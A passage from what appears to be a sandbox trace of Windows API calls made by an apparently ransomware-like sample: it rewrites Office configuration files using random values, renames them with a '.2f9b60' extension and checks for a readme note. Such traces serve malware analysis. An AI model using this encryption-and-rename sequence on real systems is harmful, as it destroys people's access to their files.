_Format="%c%c" | out: _Dest="06") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="17") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="2c") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="8d") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="b2") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="93") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="3f") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="ce") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="82") returned 2 [0207.211] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="cd") returned 2 [0207.211] RtlInitAnsiString (in: DestinationString=0x2afff968, SourceString="40462e622d10e0cde7e5e6e2ada606172c8db2933fce82cd" | out: DestinationString="40462e622d10e0cde7e5e6e2ada606172c8db2933fce82cd") [0207.211] RtlAnsiStringToUnicodeString (in: DestinationString=0x2afff938, SourceString="40462e622d10e0cde7e5e6e2ada606172c8db2933fce82cd", AllocateDestinationString=1 | out: DestinationString="40462e622d10e0cde7e5e6e2ada606172c8db2933fce82cd") returned 0x0 [0207.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e8b10 [0207.212] wcscat (in: _Dest=0x431c7580, _Source="40462e622d10" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\40462e622d10") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\40462e622d10" [0207.212] wcscat (in: _Dest=0x431c7580, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\40462e622d10.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\40462e622d10.2f9b60" [0207.212] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\40462e622d10.2f9b60", NtPathName=0x2afff910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\40462e622d10.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x431294a0 Thread: id = 2654 os_tid = 0x21e4 [0157.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg")) returned 0x20 [0157.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG", dwFileAttributes=0x20) returned 1 [0157.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1094 [0157.289] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x249af920 | out: lpFileSize=0x249af920*=840) returned 1 [0157.289] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.289] ReadFile (in: hFile=0x1094, lpBuffer=0x249af8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x249af8e8, lpOverlapped=0x0 | out: lpBuffer=0x249af8a0*, lpNumberOfBytesRead=0x249af8e8*=0x4, lpOverlapped=0x0) returned 1 [0157.291] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1190 [0157.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1220 [0157.292] NtQuerySystemTime (in: CurrentTime=0x249af7e0 | out: CurrentTime=0x249af7e0*=132462177624190000) returned 0x0 [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x72829433 [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x65a0ead5 [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x1f7fb36d [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x15decd8a [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x5809c2e4 [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x6b5050ce [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x2a00c4c9 [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x357a0816 [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x9fb991b [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x513f79d2 [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x14ff75b9 [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x309c7972 [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x1050cfd5 [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x42392a7 [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x11e8a735 [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x7d5d3ca4 [0157.292] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x359acad7 [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x4619e18d [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x7ffc22ac [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x1b111cce [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x22c37f36 [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x5b9f3a7c [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x3ca8987c [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x39d43c69 [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x3de8574 [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x5c01b9c5 [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x318c3ef3 [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x78e3c52b [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x35cde6f6 [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x13510255 [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x3d35e3c2 [0157.293] RtlRandomEx (in: Seed=0x249af7d0 | out: Seed=0x249af7d0) returned 0x1e4f1140 [0157.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1250 [0157.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec69a0 [0157.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1280 [0157.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec69a0) returned 1 [0157.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1220) returned 1 [0157.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b980 [0157.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec69a0 [0157.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b13a20 [0157.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b17630 [0157.311] ReadFile (in: hFile=0x1094, lpBuffer=0x42b13a20, nNumberOfBytesToRead=0x348, lpNumberOfBytesRead=0x249af7d0, lpOverlapped=0x0 | out: lpBuffer=0x42b13a20*, lpNumberOfBytesRead=0x249af7d0*=0x348, lpOverlapped=0x0) returned 1 [0157.311] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.311] WriteFile (in: hFile=0x1094, lpBuffer=0x42b17630*, nNumberOfBytesToWrite=0x348, lpNumberOfBytesWritten=0x249af7d4, lpOverlapped=0x0 | out: lpBuffer=0x42b17630*, lpNumberOfBytesWritten=0x249af7d4*=0x348, lpOverlapped=0x0) returned 1 [0161.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c60 [0161.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff70 [0161.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0161.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b17630) returned 1 [0161.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b13a20) returned 1 [0161.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec69a0) returned 1 [0161.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b980) returned 1 [0161.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85ff70 [0161.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b980 [0161.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec69a0 [0161.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a48e0 [0161.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a48e0) returned 1 [0161.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a48e0 [0161.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4940 [0161.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4970 [0161.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4970) returned 1 [0161.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec69a0) returned 1 [0161.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b980) returned 1 [0161.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ab070 [0161.619] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.619] WriteFile (in: hFile=0x1094, lpBuffer=0x423ab070*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x249af8f0, lpOverlapped=0x0 | out: lpBuffer=0x423ab070*, lpNumberOfBytesWritten=0x249af8f0*=0x10a, lpOverlapped=0x0) returned 1 [0163.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420535b0 [0163.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420535b0) returned 1 [0163.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420535b0 [0163.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053580 [0163.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053580) returned 1 [0163.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.387] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="8f") returned 2 [0163.387] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="53") returned 2 [0163.387] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="4c") returned 2 [0163.387] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="91") returned 2 [0163.387] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="34") returned 2 [0163.387] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="2f") returned 2 [0163.387] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="05") returned 2 [0163.387] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="42") returned 2 [0163.387] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="4e") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="06") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="12") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="83") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="d5") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="b2") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="8d") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="d6") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="82") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="36") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="d6") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="f2") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="28") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="03") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="a9") returned 2 [0163.388] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="fe") returned 2 [0163.388] RtlInitAnsiString (in: DestinationString=0x249af968, SourceString="8f534c91342f05424e061283d5b28dd68236d6f22803a9fe" | out: DestinationString="8f534c91342f05424e061283d5b28dd68236d6f22803a9fe") [0163.388] RtlAnsiStringToUnicodeString (in: DestinationString=0x249af938, SourceString="8f534c91342f05424e061283d5b28dd68236d6f22803a9fe", AllocateDestinationString=1 | out: DestinationString="8f534c91342f05424e061283d5b28dd68236d6f22803a9fe") returned 0x0 [0163.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8574f0 [0163.389] RtlFreeAnsiString (AnsiString="8") [0163.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420535b0) returned 1 [0163.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ab070) returned 1 [0163.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a48e0) returned 1 [0163.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4940) returned 1 [0163.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0163.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860c60) returned 1 [0163.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1190) returned 1 [0163.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1250) returned 1 [0163.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1280) returned 1 [0163.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1cdb5a70 [0163.392] wcscat (in: _Dest=0x1cdb5a70, _Source="8f534c91342f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8f534c91342f") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8f534c91342f" [0163.392] wcscat (in: _Dest=0x1cdb5a70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8f534c91342f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8f534c91342f.2f9b60" [0163.392] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8f534c91342f.2f9b60", NtPathName=0x249af910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8f534c91342f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x1ce22fe0 [0165.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22fe0) returned 1 [0165.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1af40) returned 1 [0165.023] NtQueryInformationFile (in: FileHandle=0x1094, IoStatusBlock=0x249af978, FileInformation=0x249af988, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x249af978, FileInformation=0x249af988) returned 0x0 [0165.023] NtSetInformationFile (FileHandle=0x1094, IoStatusBlock=0x249af978, FileInformation=0x249af988, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb5a70) returned 1 [0165.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8574f0) returned 1 [0165.053] FlushFileBuffers (hFile=0x1094) returned 1 [0166.263] CloseHandle (hObject=0x1094) returned 1 [0183.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1cdb5250 [0183.942] wcscpy (in: _Dest=0x1cdb5250, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0183.942] wcscat (in: _Dest=0x1cdb5250, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0183.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0183.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb5250) returned 1 [0183.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5b20) returned 1 Thread: id = 2655 os_tid = 0x21e8 [0157.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg")) returned 0x20 [0157.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG", dwFileAttributes=0x20) returned 1 [0157.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xab8 [0157.317] GetFileSizeEx (in: hFile=0xab8, lpFileSize=0x3a00fa40 | out: lpFileSize=0x3a00fa40*=664) returned 1 [0157.317] SetFilePointerEx (in: hFile=0xab8, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.317] ReadFile (in: hFile=0xab8, lpBuffer=0x3a00f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a00fa08, lpOverlapped=0x0 | out: lpBuffer=0x3a00f9c0*, lpNumberOfBytesRead=0x3a00fa08*=0x4, lpOverlapped=0x0) returned 1 [0157.319] SetFilePointerEx (in: hFile=0xab8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1220 [0157.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac12b0 [0157.320] NtQuerySystemTime (in: CurrentTime=0x3a00f900 | out: CurrentTime=0x3a00f900*=132462177624502000) returned 0x0 [0157.320] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x1e7cad8a [0157.320] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x11f07186 [0157.320] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x49056215 [0157.320] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x2a73a33d [0157.320] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x72d1941d [0157.320] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x5aaf7cbb [0157.320] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x653596af [0157.320] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x48ff1abf [0157.321] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x6d4395a9 [0157.321] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x21ce3d21 [0157.321] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x12cb0f15 [0157.321] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x7286f7c0 [0157.321] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x26470db9 [0157.321] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x214db2e1 [0157.321] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x2c1b850f [0157.321] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0xbf2299c [0157.321] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x54563291 [0157.321] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x2282f0ed [0157.321] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x28896bed [0157.321] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x1f2de460 [0157.322] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x2133a225 [0157.322] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x758b9548 [0157.322] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x19391e82 [0157.322] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0xc9627df [0157.322] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x4dec9c56 [0157.322] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x45610185 [0157.322] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x3173dae8 [0157.322] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x7b1be6ef [0157.322] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x2cb2ca22 [0157.322] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x2228c324 [0157.322] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x23daebd9 [0157.322] RtlRandomEx (in: Seed=0x3a00f8f0 | out: Seed=0x3a00f8f0) returned 0x4411909d [0157.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac12e0 [0157.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6a20 [0157.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1310 [0157.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6a20) returned 1 [0157.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac12b0) returned 1 [0157.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b9d0 [0157.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6a20 [0157.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b1b240 [0157.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b1ee50 [0157.338] ReadFile (in: hFile=0xab8, lpBuffer=0x42b1b240, nNumberOfBytesToRead=0x298, lpNumberOfBytesRead=0x3a00f8f0, lpOverlapped=0x0 | out: lpBuffer=0x42b1b240*, lpNumberOfBytesRead=0x3a00f8f0*=0x298, lpOverlapped=0x0) returned 1 [0157.339] SetFilePointerEx (in: hFile=0xab8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.339] WriteFile (in: hFile=0xab8, lpBuffer=0x42b1ee50*, nNumberOfBytesToWrite=0x298, 